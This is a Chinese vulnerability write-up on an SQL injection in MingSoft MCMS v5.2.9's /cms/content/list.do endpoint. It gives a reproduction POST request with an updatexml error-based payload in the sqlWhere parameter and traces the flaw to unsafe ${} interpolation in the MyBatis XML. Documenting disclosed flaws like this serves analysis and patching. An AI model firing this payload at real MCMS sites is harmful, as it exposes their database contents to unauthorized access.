MCMS是中国铭飞(MingSoft)公司的一个完整开源的J2ee系统。江西铭软科技有限公司MCMS v5.2.9版本存在SQL注入漏洞,该漏洞源于/content/list.do中的categoryType参数缺少对外部输入SQL语句的验证,攻击者可利用该漏洞获取数据库敏感数据。
项目地址
MCMS: 🌈🌈🌈祝开发者2024新年快乐🧧!免费可商用的开源Java CMS内容管理系统/基于SpringBoot 2/前端element UI/提供上百套模板,同时提供实用的插件/每两个月收集issues问题并更新版本/一套简单好用开源免费的Java CMS内容管理系/一整套优质的开源生态内容体系。铭飞的使命就是降低开发成本提高开发效率,提供全方位的企业级开发解决方案。https://gitee.com/mingSoft/MCMS
参考链接
-
Mingsoft MCMS v5.2.9 前台查询文章列表接口存在SQL注入 · Issue #I8MAJK · 铭飞/MCMS - Gitee.com
-
https://www.cnvd.org.cn/flaw/show/CNVD-2024-06148
漏洞复现
POST /cms/content/list.do HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Content-Length: 326
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, brcategoryType=1&sqlWhere=%5b%7b%22action%22%3a%22and%22%2c%22field%22%3a%22updatexml(1%2cconcat(0x7e%2c(SELECT%20%20current_user)%2c0x7e)%2c1)%22%2c%22el%22%3a%22eq%22%2c%22model%22%3a%22contentTitle%22%2c%22name%22%3a%22æç« æ é¢%22%2c%22type%22%3a%22input%22%2c%22value%22%3a%22111%22%7d%5d&pageNo=1&pageSize=10
漏洞分析
在IContentDao.xml中找到了类似${}的sql语句,这说明此系统至少存在4个sql注入漏洞
我们分析第一个/cms/content/list.do 的sql语句调用
来到控制器层
@PostMapping("/list")
@ResponseBody
public ResultData list(@ModelAttribute @ApiIgnore ContentBean content) {
BasicUtil.startPage();
List contentList = contentBiz.query(content);
return ResultData.build().success(new EUListBean(contentList,(int)BasicUtil.endPage(contentList).getTotal()));
}
ContentBean的成员均可为我们可控
跟入contentBiz.query方法
public List<T> query(BaseEntity entity) {
return this.getDao().query(entity);
}
在跟入getDao().query方法
在IBaseDao.class 中
/** @deprecated */
@Deprecated
<E> E getByEntity(BaseEntity entity);
List<E> query(BaseEntity entity);
找到对应的实现类
<!--条件查询-->
<select id="query" resultMap="resultContentMap">
<!--,CONCAT('/html/',ct.app_id,category_path,'/',ct.id,'.html') AS static_url-->
select ct.* from (
select ct.*,cc.category_path from cms_content ct
join cms_category cc on ct.category_id=cc.id
<where>
ct.del=0
<if test="contentTitle != null and contentTitle != ''"> and content_title like CONCAT(CONCAT('%',#{contentTitle}),'%')</if>
<if test="categoryId != null and categoryId != ''"> and (ct.category_id=#{categoryId} or ct.category_id in
(select id FROM cms_category where find_in_set(#{categoryId},CATEGORY_PARENT_IDS)>0))</if>
<if test="contentType != null and contentType != ''">
and
<foreach item="item" index="index" collection="contentType.split(',')" open="(" separator="or"
close=")">
FIND_IN_SET(#{item},ct.content_type)>0
</foreach>
</if>
<if test="contentDisplay != null and contentDisplay != ''"> and content_display=#{contentDisplay}</if>
<if test="contentAuthor != null and contentAuthor != ''"> and content_author=#{contentAuthor}</if>
<if test="contentSource != null and contentSource != ''"> and content_source=#{contentSource}</if>
<if test="contentDatetime != null"> and content_datetime=#{contentDatetime} </if>
<if test="contentSort != null"> and content_sort=#{contentSort} </if>
<if test="contentImg != null and contentImg != ''"> and content_img=#{contentImg}</if>
<if test="contentDescription != null and contentDescription != ''"> and content_description=#{contentDescription}</if>
<if test="contentKeyword != null and contentKeyword != ''"> and content_keyword=#{contentKeyword}</if>
<if test="contentDetails != null and contentDetails != ''"> and content_details=#{contentDetails}</if>
<if test="contentUrl != null and contentUrl != ''"> and content_url=#{contentUrl}</if>
<if test="contentHit != null"> and content_hit=#{contentHit}</if>
<if test="createBy > 0"> and ct.create_by=#{createBy} </if>
<if test="createDate != null"> and ct.create_date=#{createDate} </if>
<if test="updateBy > 0"> and ct.update_by=#{updateBy} </if>
<if test="updateDate != null"> and update_date=#{updateDate} </if>
<include refid="net.mingsoft.base.dao.IBaseDao.sqlWhere"></include>
</where>
)ct ORDER BY ct.content_datetime desc,content_sort desc
</select>
在查询语句中引用这个 sqlWhere片段,找出来
<sql id="sqlWhere" databaseId="mysql">
<if test="sqlWhereList != null">
<foreach collection="sqlWhereList" item="item" index="index"
open="and( " separator=" " close=" )">
<if test="item.el == 'eq'">
<choose>
<when test="item.multiple != null and item.multiple == true">
FIND_IN_SET(#{item.value}, ${item.field})>0
</when>
<otherwise>
${item.field} = #{item.value}
</otherwise>
</choose>
</if>
<if test="item.el == 'gt'">
<choose>
<when test="item.type=='time'||item.type=='date'">
<if test="item.type=='time'">
date_format(${item.field},'%T') > date_format(#{item.value},'%T')
</if>
<if test="item.type=='date'">
date_format(${item.field},'%Y-%m-%d %H:%i:%s') > date_format(#{item.value},'%Y-%m-%d %H:%i:%s')
</if>
</when>
<otherwise>
${item.field} > #{item.value}
</otherwise>
</choose>
</if>
<if test="item.el == 'gte'">
${item.field} >= #{item.value}
</if>
<if test="item.el == 'lt'">
<choose>
<when test="item.type=='time'||item.type=='date'">
<if test="item.type=='time'">
date_format(${item.field},'%T') < date_format(#{item.value},'%T')
</if>
<if test="item.type=='date'">
date_format(${item.field},'%Y-%m-%d %H:%i:%s') < date_format(#{item.value},'%Y-%m-%d %H:%i:%s')
</if>
</when>
<otherwise>
${item.field} < #{item.value}
</otherwise>
</choose>
</if>
<if test="item.el == 'lte'">
${item.field} <= #{item.value}
</if>
<if test="item.el == 'like'">
${item.field} like CONCAT(CONCAT('%',#{item.value}),'%')
</if>
<if test="item.el == 'likeLeft'">
${item.field} like CONCAT(CONCAT(#{item.value}),'%')
</if>
<if test="item.el == 'likeRight'">
${item.field} like CONCAT('%',#{item.value})
</if>
<if test="item.el == 'in'">
${item.field} in (${item.value})
</if>
<if test="item.el == 'range'">
<if test="item.type=='time'">
date_format(${item.field},'%T') BETWEEN date_format(#{item.value[0]},'%T') AND date_format(#{item.value[1]},'%T')
</if>
<if test="item.type=='date'">
date_format(${item.field},'%Y-%m-%d %H:%i:%s') BETWEEN date_format(#{item.value[0]},'%Y-%m-%d %H:%i:%s') AND date_format(#{item.value[1]},'%Y-%m-%d %H:%i:%s')
</if>
</if>
<if test="index != (sqlWhereList.size() - 1)">
<choose>
<!--防注入-->
<when test="item.action == 'and' or item.action == 'or'">
${item.action}
</when>
<otherwise>
and
</otherwise>
</choose>
</if>
</foreach>
</if>
</sql>
注意${}的引用
<if test="item.el == 'eq'">
<choose>
<when test="item.multiple != null and item.multiple == true">
FIND_IN_SET(#{item.value}, ${item.field})>0
</when>
<otherwise>
${item.field} = #{item.value}
</otherwise>
</choose>
</if>
类似于这样where xxx=xxxx 是可以照成sql注入的,
所以参数写成写成这样
[{"action":"and","field":"updatexml(1,concat(0x7e,(SELECT current_user),0x7e),1)","el":"eq","model":"contentTitle","name":"æç« æ é¢","type":"input","value":"111"}]
重要的就是field字段 以及没有multiple字段